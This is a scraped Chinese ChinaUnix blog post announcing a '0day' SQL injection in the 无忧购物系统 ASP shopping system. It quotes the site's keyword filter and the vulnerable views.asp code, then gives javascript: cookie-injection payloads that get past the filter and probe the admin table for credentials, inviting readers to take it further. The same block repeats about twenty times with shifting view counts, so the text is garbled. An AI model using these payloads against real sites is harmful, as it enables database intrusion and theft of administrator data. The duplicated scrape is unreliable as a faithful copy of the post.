无忧购物系统oday发布-oma-ChinaUnix博客

For Fy_x=0 to ubound(Fy_Cs)
If Fy_Cs(Fy_x)<>"" Then
If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
response.Write ""
Response.End

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44589) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44588) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44587) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44586) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44585) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44584) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44583) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44582) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44581) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44580) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44579) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44578) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44577) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44576) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44575) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44574) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44573) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44572) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44571) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44570) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44569) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44568) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44567) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44566) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
rs("hw_views")=rs("hw_views")+1
rs.update

可以看到，hw_id=Request("hw_id"),呵，如果管理员直接：

hw_id=Requet(Replace("hw_id","'","")) 或 hw_id=Requet(Replace("hw_id","'",""")) 下或许我还难办点~~

(Ps:哎，自从国内推出了防注射代码后，程序员们都变懒了~~~)

request集合中包含了cookie，所以无论他的防注射代码多么的BT，咱们都可以忽略了:)

测试代码如下：

清空后提交:javascript:alert(document.cookie="hw_id=" + escape("503 and 1=1"))

javascript:alert(document.cookie="hw_id=" + escape("503 and 1=2"))

直接判断出存在注入了

javascript:alert(document.cookie="hw_id=" + escape ("506 and (select count(admin_name) from admin)>0"))

OK，大伙自己发挥去吧~~

阅读(44565) | 评论(0) | 转发(0) |

上一篇：风讯 4.0 SP7 getshell 0day

下一篇：本地密码CRACK工具

给主人留下些什么吧！~~

感谢所有关心和支持过ChinaUnix的朋友们

16024965号-6

翻开了sqlcheck.asp,部分代码如下：

但问题不是很大的说~~ 先贴上一处吧，views.asp 部分代码如下：

<%hw_id=Request("hw_id")
sql="select * from hw where hw_id="&hw_id&""
rs.open sql,conn,3,3
if rs.eof then%>!
<%else
